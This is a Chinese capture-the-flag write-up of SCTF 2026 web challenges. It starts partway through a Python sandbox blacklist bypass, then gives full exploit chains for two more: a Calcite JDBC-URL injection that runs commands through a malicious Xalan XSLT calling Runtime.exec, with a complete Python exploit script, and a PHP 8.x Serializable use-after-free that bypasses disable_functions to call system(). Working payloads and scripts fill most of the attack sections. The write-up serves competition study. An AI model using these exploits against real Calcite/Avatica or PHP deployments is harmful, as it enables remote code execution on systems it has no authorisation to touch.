165. if&nbsp;__name__&nbsp;=="__main__":
166. main()

漏洞总结

这题实际串了三个问题:

1. 不安全的 metadata 反序列化

chat metadata 支持 LangChain 风格对象,且 secret 类型能从环境变量取值,最终导致 SHOP_SUPPORT_SEED 泄露。

2. staff code 设计过于依赖单个环境密钥

拿到 SHOP_SUPPORT_SEED 后,就能离线计算任意用户当天的 staff code,直接完成权限提升。

3. Python 沙箱采用黑名单,且字符串黑名单可被运行时拼接绕过

虽然禁用了:

  • __globals__
  • gi_frame
  • f_locals

但只要写成:

1. "__glo"+"bals__"
2. "gi_"+"frame"
3. "f_"+"locals"

再通过 str.format() 做属性访问,就能绕过静态检查,最终读取生成器 frame 的局部变量,拿到 flag。


最终答案

1. SCTF{human_cas3_the_m@in_pr0blem_not_bot}

great-sql

0x01 题目分析

附件是一个基于 Apache Calcite Avatica 的 Java Web 服务。 程序启动后对外提供一个 HTTP 接口,只接受 POST,并且每个 JSON 请求被限制为 280 字节

核心逻辑在自定义的 ConfigurableJdbcMeta

1. protectedConnection&nbsp;createConnection(String&nbsp;id,Properties&nbsp;info)throwsSQLException{
2. Properties&nbsp;copy&nbsp;=newProperties();
3. copy.putAll(info);
4. String&nbsp;backendUrl&nbsp;=&nbsp;removeBackendUrl(copy);
5. if(backendUrl&nbsp;==null){
6. thrownewSQLException("Missing backend JDBC URL property: jdbcUrl");
7. }
8. returnsuper.createConnection(backendUrl,&nbsp;copy);
9. }

也就是说,客户端发来的:

1. {
2. "request":"openConnection",
3. "connectionId":"xxx",
4. "info":{"jdbcUrl":"..."}
5. }

里的 info.jdbcUrl 会被服务端直接当成 后端 JDBC URL 使用。

这就是整个题的入口:

客户端可控 JDBC URL → 服务端用该 URL 建立 JDBC 连接。

0x02 漏洞本质

题目启动时显式加载了:

1. Class.forName("org.apache.calcite.jdbc.Driver");

说明服务端 classpath 里已经有 Calcite JDBC 驱动。 因此我们可以把 jdbcUrl 设为:

1. jdbc:calcite:model=inline:...

也就是 Calcite inline model

Calcite 的 model 支持注册 Java 类中的静态方法为 SQL 函数,例如:

1. version:1
2. schemas:
3. -&nbsp;name:&nbsp;s
4. functions:
5. -&nbsp;className:&nbsp;java.lang.System
6. methodName:"*"

这样,在 SQL 里就可以直接调用:

1. select&nbsp;s.setProperty(...)
2. select&nbsp;s.getProperty(...)

换句话说,这题不是传统 Web 漏洞,而是:

Avatica 协议层的 JDBC URL 注入,最终变成了 Calcite SQL 层对任意 classpath 中静态方法的调用。

0x03 环境与目标

Dockerfile 里有两个关键点:

1. flag 不可直接读

1. COPY bin/flag&nbsp;/flag
2. chmod&nbsp;400/flag

服务进程是低权限用户 greatsql 启动的,不能直接读 /flag

2. 但是存在 SUID 程序 /readflag

1. COPY&nbsp;--from=readflag-builder&nbsp;/readflag&nbsp;/readflag
2. chmod&nbsp;4555/readflag

/readflag 的逻辑很简单,就是以 root 权限打开 /flag 并输出内容。

所以最终目标就明确了:

想办法在 Java 进程里执行 /readflag,然后把结果带回客户端。

0x04 Avatica 协议交互方式

打这个服务只需要三种请求:

1. openConnection

创建连接,并传入可控的 jdbcUrl

2. createStatement

创建 SQL statement

3. prepareAndExecute

执行 SQL

最小利用流程就是:

1. openConnection&nbsp;->&nbsp;createStatement&nbsp;->&nbsp;prepareAndExecute

0x05 利用思路

Step 1:利用 inline model 注册 java.lang.System

先注册 System 类:

1. version:1
2. schemas:[{name:&nbsp;s,functions:[{className:&nbsp;java.lang.System,methodName:"*"}]}]

这样我们就能在 SQL 中调用:

1. select&nbsp;s.setProperty(...)
2. select&nbsp;s.getProperty(...)

这一步非常关键,因为题目有 280 字节 JSON 长度限制,不能直接一次性把完整恶意 XSLT 塞进去。 所以需要先把长字符串拆成多段,分别写进 System 的属性表里,再在后续 SQL 里拼接。


Step 2:利用 XmlFunctions.xmlTransform 执行 XSLT

Calcite 自带一个可注册的静态方法:

1. org.apache.calcite.runtime.XmlFunctions.xmlTransform

它本质上会对输入 XML 应用一段 XSLT。

如果能控制 XSLT,那么就有可能借助 Java/Xalan 的扩展机制执行 Java 方法。

先注册:

1. version:1
2. schemas:[{name:&nbsp;s,functions:[
3. {className:&nbsp;java.lang.System,methodName:"*"},
4. {className:&nbsp;org.apache.calcite.runtime.XmlFunctions,methodName:&nbsp;xmlTransform}
5. ]}]

然后在 SQL 中调用:

1. select&nbsp;s.xmlTransform('<a/>',&nbsp;xslt_payload)

Step 3:开启 Xalan Java extension

默认情况下,JDK 的 XSLT 扩展函数通常是禁用的。 需要先设置系统属性:

1. select&nbsp;s.setProperty('jdk.xml.enableExtensionFunctions','true')

这样后续的 XSLT 就可以通过 xalan:// 调用 Java 类。


Step 4:构造 XSLT,调用 Runtime.exec

恶意 XSLT 如下:

1. <stylesheetxmlns="http://www.w3.org/1999/XSL/Transform"
2. xmlns:r="xalan://java.lang.Runtime"
3. version="1">
4. <templatematch="/">
5. <value-ofselect="r:exec(r:getRuntime(),'sh -c /readflag>/tmp/o')"/>
6. </template>
7. </stylesheet>

这里做了两件事:

  1. 通过 r:getRuntime() 获取 Runtime 实例
  2. 通过 r:exec(...) 执行命令

命令不是直接 /readflag,而是:

1. sh&nbsp;-c&nbsp;/readflag>/tmp/o

原因是:

  • Runtime.exec 的返回值是 Process,并不会自动把 stdout 返回给 SQL
  • 所以最稳妥的办法是把 /readflag 的输出重定向到一个文件,例如 /tmp/o

Step 5:把文件内容读回客户端

Calcite/Avatica 的 classpath 里还有一个很好用的类:

1. org.apache.calcite.avatica.util.Base64

它有静态方法:

1. encodeFromFile(path)

因此再注册一次这个类:

1. version:1
2. schemas:[{name:&nbsp;s,functions:[
3. {className:&nbsp;org.apache.calcite.avatica.util.Base64,methodName:"*"}
4. ]}]

然后执行:

1. select&nbsp;s.encodeFromFile('/tmp/o')

这会返回文件内容的 Base64。 客户端再解码即可得到 flag。


0x06 为什么要分块写 XSLT

因为服务端限制:

  • JSON 字符长度 ≤ 280
  • UTF-8 字节长度 ≤ 280

而 Avatica 请求本身还要包含:

  • request
  • statementId
  • sql
  • maxRowsInFirstFrame

所以完整的 XSLT 绝对放不进单个请求。

解决方式是:

先分块写入属性

例如:

1. select&nbsp;s.setProperty('a','<stylesheet ... 第一段 ...')
2. select&nbsp;s.setProperty('b','第二段 ... </stylesheet>')

再拼起来触发

1. select&nbsp;s.xmlTransform('<a/>',&nbsp;s.getProperty('a')||&nbsp;s.getProperty('b'))

这样每个单独请求都能控制在 280 字节以内。


0x07 完整利用链

整体链路如下:

1. 客户端可控&nbsp;openConnection.info.jdbcUrl
2. →服务端使用该值建立&nbsp;JDBC&nbsp;连接
3. →使用&nbsp;jdbc:calcite:model=inline:...
4. →注册&nbsp;java.lang.System为&nbsp;SQL&nbsp;函数
5. →设置&nbsp;jdk.xml.enableExtensionFunctions=true
6. →分块写入恶意&nbsp;XSLT&nbsp;到System&nbsp;properties
7. →注册XmlFunctions.xmlTransform
8. →触发&nbsp;XSLT,调用Runtime.exec("sh -c /readflag>/tmp/o")
9. →注册Base64工具类
10. →调用&nbsp;encodeFromFile('/tmp/o')
11. →Base64解码得到&nbsp;flag

0x08 关键 payload

1. 注册 System

1. version:1
2. schemas:[{name:&nbsp;s,functions:[{className:&nbsp;java.lang.System,methodName:"*"}]}]

2. 开启扩展函数

1. select&nbsp;s.setProperty('jdk.xml.enableExtensionFunctions','true')

3. 恶意 XSLT

1. <stylesheetxmlns="http://www.w3.org/1999/XSL/Transform"
2. xmlns:r="xalan://java.lang.Runtime"version="1">
3. <templatematch="/"><value-ofselect="r:exec(r:getRuntime(),'sh -c /readflag>/tmp/o')"/></template>
4. </stylesheet>

4. 触发执行

1. select&nbsp;s.xmlTransform('<a/>',&nbsp;s.getProperty('a')||&nbsp;s.getProperty('b'))

5. 读取结果

1. select&nbsp;s.encodeFromFile('/tmp/o')

0x09 EXP

我最终使用的 exp 如下,能够直接对题目服务打通整条链:

完整脚本:greatsql_exp.py

核心代码如下:

1. #!/usr/bin/env python3
2. import&nbsp;base64
3. import&nbsp;json
4. import&nbsp;random
5. import&nbsp;string
6. import&nbsp;sys
7. import&nbsp;time
8. import&nbsp;requests
9. def&nbsp;enc(obj):
10. return&nbsp;json.dumps(obj,&nbsp;separators=(",",":"))
11. def&nbsp;sql_string(s:&nbsp;str)->&nbsp;str:
12. return"'"+&nbsp;s.replace("'","''")+"'"
13. def&nbsp;rand_cid(prefix:&nbsp;str)->&nbsp;str:
14. return&nbsp;prefix&nbsp;+&nbsp;random.choice(string.ascii_letters)
15. classAvatica:
16. def&nbsp;__init__(self,&nbsp;base_url):
17. self.url&nbsp;=&nbsp;base_url.rstrip("/")+"/"
18. self.session&nbsp;=&nbsp;requests.Session()
19. def&nbsp;post(self,&nbsp;obj,&nbsp;quiet=False):
20. data&nbsp;=&nbsp;enc(obj)
21. r&nbsp;=&nbsp;self.session.post(self.url,&nbsp;data=data,&nbsp;headers={"Content-Type":"application/json"},&nbsp;timeout=10)
22. ifnot&nbsp;quiet:
23. print(f"[>] {data}")
24. print(f"[<] {r.status_code} {r.text[:220]}")
25. return&nbsp;r.json()
26. def&nbsp;open_calcite(self,&nbsp;cid,&nbsp;model):
27. return&nbsp;self.post({
28. "request":"openConnection",
29. "connectionId":&nbsp;cid,
30. "info":{"jdbcUrl":"jdbc:calcite:model=inline:"+&nbsp;model},
31. })
32. def&nbsp;stmt(self,&nbsp;cid):
33. return&nbsp;self.post({"request":"createStatement","connectionId":&nbsp;cid})["statementId"]
34. def&nbsp;q(self,&nbsp;sid,&nbsp;sql,&nbsp;quiet=False):
35. return&nbsp;self.post({
36. "request":"prepareAndExecute",
37. "statementId":&nbsp;sid,
38. "sql":&nbsp;sql,
39. "maxRowsInFirstFrame":1,
40. },&nbsp;quiet=quiet)
41. def&nbsp;main():
42. target&nbsp;=&nbsp;sys.argv[1]
43. out_file&nbsp;="/tmp/o"
44. a&nbsp;=Avatica(target)
45. cid&nbsp;=&nbsp;rand_cid("s")
46. sys_model&nbsp;='version: 1\nschemas: [{name: s,functions: [{className: java.lang.System,methodName: "*"}]}]'
47. a.open_calcite(cid,&nbsp;sys_model)
48. sid&nbsp;=&nbsp;a.stmt(cid)
49. a.q(sid,"select s.setProperty('jdk.xml.enableExtensionFunctions','true')")
50. cmd&nbsp;=&nbsp;f"sh -c /readflag>{out_file}"
51. xslt&nbsp;=(
52. '<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" '
53. 'xmlns:r="xalan://java.lang.Runtime" version="1">'
54. '<template match="/"><value-of select="r:exec(r:getRuntime(),\''
55. +&nbsp;cmd&nbsp;+
56. '\')"/></template></stylesheet>'
57. )
58. chunks&nbsp;=[xslt[i:i&nbsp;+150]for&nbsp;i&nbsp;in&nbsp;range(0,&nbsp;len(xslt),150)]
59. for&nbsp;i,&nbsp;chunk&nbsp;in&nbsp;enumerate(chunks):
60. key&nbsp;=&nbsp;chr(ord("a")+&nbsp;i)
61. a.q(sid,&nbsp;f"select s.setProperty('{key}',{sql_string(chunk)})")
62. cid&nbsp;=&nbsp;rand_cid("x")
63. xml_model&nbsp;=(
64. 'version: 1\nschemas: [{name: s,functions: ['
65. '{className: java.lang.System,methodName: "*"},'
66. '{className: org.apache.calcite.runtime.XmlFunctions,methodName: xmlTransform}]}]'
67. )
68. a.open_calcite(cid,&nbsp;xml_model)
69. sid&nbsp;=&nbsp;a.stmt(cid)
70. expr&nbsp;="||".join(f"s.getProperty('{chr(ord('a') + i)}')"for&nbsp;i&nbsp;in&nbsp;range(len(chunks)))
71. a.q(sid,&nbsp;f"select s.xmlTransform('<a/>',{expr})")
72. cid&nbsp;=&nbsp;rand_cid("b")
73. b64_model&nbsp;='version: 1\nschemas: [{name: s,functions: [{className: org.apache.calcite.avatica.util.Base64,methodName: "*"}]}]'
74. a.open_calcite(cid,&nbsp;b64_model)
75. sid&nbsp;=&nbsp;a.stmt(cid)
76. for&nbsp;_&nbsp;in&nbsp;range(10):
77. time.sleep(0.3)
78. j&nbsp;=&nbsp;a.q(sid,&nbsp;f"select s.encodeFromFile('{out_file}')",&nbsp;quiet=True)
79. rows&nbsp;=&nbsp;j["results"][0]["firstFrame"]["rows"]
80. if&nbsp;rows&nbsp;and&nbsp;rows[0]and&nbsp;rows[0][0]:
81. print(base64.b64decode(rows[0][0]).decode(errors="replace"))
82. return

84. # ...

运行方式:

1. python3 greatsql_exp.py http://HOST:PORT/

0x0A 本地复现结果

本地对附件环境复现后,成功读到占位 flag:

1. flag{replace_flag_here}

说明整条利用链是通的。 远程环境下直接运行同一个 exp 即可拿到真实 flag。


0x0B 漏洞总结

这题的本质不是单点 bug,而是一条组合利用链:

  1. Avatica 服务错误地信任客户端传入的 jdbcUrl
  2. Calcite inline model 允许注册任意 classpath 静态方法为 SQL 函数
  3. XmlFunctions.xmlTransform + Xalan extension 可形成命令执行
  4. 服务存在 SUID /readflag,使 RCE 可以稳定转化为 flag 读取
  5. Base64.encodeFromFile 提供了非常方便的数据回显通道

所以最终是一个很典型的:

JDBC URL 注入 → Calcite model abuse → SQL function abuse → XSLT Java extension RCE → SUID 读 flag

0x0C 一句话结论

题目的解法核心就是:

利用可控 jdbc:calcite:model=inline: 注册 Java 静态方法为 SQL 函数,借助 XmlFunctions.xmlTransform 执行带 xalan://java.lang.Runtime 的恶意 XSLT,调用 /readflag 并通过 Base64.encodeFromFile 把 flag 读回。

phpstilAlive

题目信息

  • 题目:phpstilAlive
  • 描述:php sandbox!!
  • 目标: http://web-26d72b9c20.adworld.xctf.org.cn/
  • Flag: flag{WKIv9h0NOdC2oSEND3RrXNnGr8Pt5lNE}

初始观察

首页是一个在线 PHP 运行器,表单字段为 code,提交后会执行 PHP 并在 <preclass="out"> 中回显输出。

普通代码可以执行:

1. <?php
2. echo&nbsp;'OK:';
3. echo&nbsp;1+2;
4. ?>

输出:

1. OK:3

读取源码

虽然 file_get_contents 等函数被禁用,但 include 没有被禁用,可以用 php://filter 读取源码:

1. <?php
2. include&nbsp;'php://filter/convert.base64-encode/resource=index.php';
3. ?>

解码后核心逻辑如下:

1. function&nbsp;snippet_is_blocked(string&nbsp;$code):bool
2. {
3. $blocked_names&nbsp;=[
4. 'arrayiterator'=>true,
5. 'arrayobject'=>true,
6. 'dateinterval'=>true,
7. 'datetime'=>true,
8. 'datetimeimmutable'=>true,
9. 'dateperiod'=>true,
10. 'hashcontext'=>true,
11. 'multipleiterator'=>true,
12. 'recursivearrayiterator'=>true,
13. 'spldoublylinkedlist'=>true,
14. 'splheap'=>true,
15. 'splmaxheap'=>true,
16. 'splminheap'=>true,
17. 'splobjectstorage'=>true,
18. 'weakmap'=>true,
19. 'weakreference'=>true,
20. ];

22. $blocked_calls&nbsp;=[
23. 'date_create'=>true,
24. 'date_create_immutable'=>true,
25. 'date_diff'=>true,
26. 'date_interval_create_from_date_string'=>true,
27. 'prev'=>true,
28. 'session_start'=>true,
29. 'session_unset'=>true,
30. 'settype'=>true,
31. 'spl_autoload_register'=>true,
32. 'spl_autoload_unregister'=>true,
33. 'call_user_func'=>true,
34. 'call_user_func_array'=>true,
35. ];

37. $tokens&nbsp;=&nbsp;token_get_all("<?php\n".&nbsp;$code);
38. ...
39. }

执行前会做 token 黑名单检查,然后 eval($code)

1. if(snippet_is_blocked($code)){
2. return"input rejected\n";
3. }

5. ob_start();
6. try{
7. eval($code);
8. }catch(Throwable&nbsp;$e){
9. echo get_class($e),': ',&nbsp;$e->getMessage(),"\n";
10. }

环境信息

探测配置:

1. <?php
2. echo&nbsp;'cwd='.&nbsp;getcwd()."\n";
3. echo&nbsp;'disable='.&nbsp;ini_get('disable_functions')."\n";
4. echo&nbsp;'open_basedir='.&nbsp;ini_get('open_basedir')."\n";
5. echo&nbsp;'disable_classes='.&nbsp;ini_get('disable_classes')."\n";
6. echo&nbsp;'version='.&nbsp;PHP_VERSION&nbsp;."\n";
7. echo&nbsp;'sapi='.&nbsp;PHP_SAPI&nbsp;."\n";
8. ?>

关键结果:

1. cwd=/var/www/html
2. open_basedir=/var/www/html:/tmp
3. disable_classes=DateInterval
4. version=8.4.22
5. sapi=apache2handler

大量危险函数被禁用,包括:

1. system,exec,&nbsp;shell_exec,&nbsp;passthru,&nbsp;proc_open,&nbsp;popen,
2. file_get_contents,&nbsp;file_put_contents,&nbsp;fopen,&nbsp;readfile,
3. scandir,&nbsp;glob,&nbsp;chmod,&nbsp;chown,&nbsp;copy,&nbsp;rename,&nbsp;symlink,&nbsp;curl_exec&nbsp;...

题目文件线索

/var/www/html 只有 index.php。 /tmp 下有部署残留:

1. /tmp/tmp_installers/.../scene_file/.../pushflag.sh

读取 pushflag.sh

1. <?php
2. include&nbsp;'php://filter/convert.base64-encode/resource=/tmp/tmp_installers/.../pushflag.sh';
3. ?>

脚本内容:

1. #!/bin/sh
2. set-eu

4. FLAG_FILE="/lfag-9f1d7c2e-6a2c-4e54-9d7e-6cb10c4b8f9a"

6. if["$#"-ne&nbsp;1];then
7. echo&nbsp;"usage: $0 <flag>">&2
8. exit&nbsp;2
9. fi

11. printf&nbsp;'%s\n'"$1">"$FLAG_FILE"
12. chown root:root&nbsp;"$FLAG_FILE"
13. chmod&nbsp;0400"$FLAG_FILE"

所以 flag 文件路径是:

1. /lfag-9f1d7c2e-6a2c-4e54-9d7e-6cb10c4b8f9a

但 PHP 被 open_basedir 限制,且 flag 为 root 0400,普通文件读不可行。

绕过源码黑名单

黑名单只检查用户提交的第一层源码,不递归检查运行时生成的代码。

因此可以二次 eval:

1. <?php
2. eval(base64_decode('ZWNobyAiT0tcbiI7'));
3. ?>

解码后实际执行:

1. echo&nbsp;"OK\n";

这个技巧可以绕过 DateInterval、 WeakMap、 call_user_func 等 token 级过滤,但绕不过 disable_functions

选择利用方向

最开始尝试了公开的 TimeAfterFree PHP 8 sandbox escape,但目标配置了:

1. disable_classes=DateInterval

在这个环境里, newDateInterval('PT0S') 得到的是空壳对象:

1. object(DateInterval)#1(0){
2. }

TimeAfterFree 依赖 DateInterval 的内部字段作为读写原语,因此原版不适配。

最终使用 PHP Serializable var_hash UAF 方向。这个漏洞可以在 PHP 8.x 中通过自定义 Serializable 类触发,并绕过 disable_functions 找回原始 zif_system handler。

核心触发类:

1. class&nbsp;C&nbsp;implementsSerializable{
2. function&nbsp;serialize():string{
3. return'';
4. }

6. function&nbsp;unserialize(string&nbsp;$d):void{
7. unserialize($d)->x&nbsp;=0;
8. }
9. }

漏洞点是 Serializable::unserialize() 中递归调用 unserialize() 会复用外层 var_hash。内部反序列化出的 stdClass 属性表扩容后,外层 R:N 引用仍能指向被释放的 bucket,从而构造 UAF。

利用流程:

  1. 构造 stdClass 8 个属性,填满初始 property HashTable。
  2. 在 C::unserialize() 里给对象新增 x 属性,触发 8 -> 16 扩容并释放旧 arData。
  3. 用字符串 spray 回收释放块。
  4. 通过 stale R:4..R:11 构造 heap leak 和任意读。
  5. 扫描 heap 中的 Closure 对象,定位 closure_handlers、 zend_ce_closure
  6. 扫描 executor globals,定位 function_table 和 symbol_table
  7. 从 standard module 的静态函数表中找原始 zif_system,绕过 disable_functions
  8. 构造 fake Closure,调用 system()

工作区里的 mad_min.php 是压缩后的 exploit,默认命令为:

1. $cmd='id';

使用 submit_php.py 提交:

1. Get-Content-Raw.\mad_min.php&nbsp;|&nbsp;python&nbsp;.\submit_php.py&nbsp;--raw

成功执行命令:

1. R
2. H
3. O
4. F
5. S
6. GO
7. uid=33(www-data)&nbsp;gid=33(www-data)&nbsp;groups=33(www-data)

读取 Flag

先用 RCE 枚举根目录:

1. ls&nbsp;-la&nbsp;/

关键文件:

1. -r--------1&nbsp;root root &nbsp; &nbsp;39Jun1407:03&nbsp;lfag-9f1d7c2e-6a2c-4e54-9d7e-6cb10c4b8f9a
2. -rwsr-xr-x &nbsp;&nbsp;1&nbsp;root root&nbsp;14552Jun1107:50&nbsp;readflag

直接 cat/lfag-... 权限不足:

1. Permission&nbsp;denied

但 /readflag 是 root SUID,执行即可:

1. $cmd='/readflag';

输出:

1. R
2. H
3. O
4. F
5. S
6. GO
7. flag{WKIv9h0NOdC2oSEND3RrXNnGr8Pt5lNE}

复现文件

当前工作区保留了两个主要文件:

  • submit_php.py:POST 提交器,负责提交 code 并抽取 <preclass="out">
  • madmin.php:压缩后的 PHP 8.x Serializable varhash UAF 利用代码。

注意目标对 code 字段有约 16KB 到 20KB 的实际长度限制,原版公开 PoC 过大,提交后字段会被置空;所以这里使用压缩版 exploit。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星盟安全团队 星盟安全团队 星盟安全团队《SCTF 2026 Web WriteUp》

评论:0   参与:  0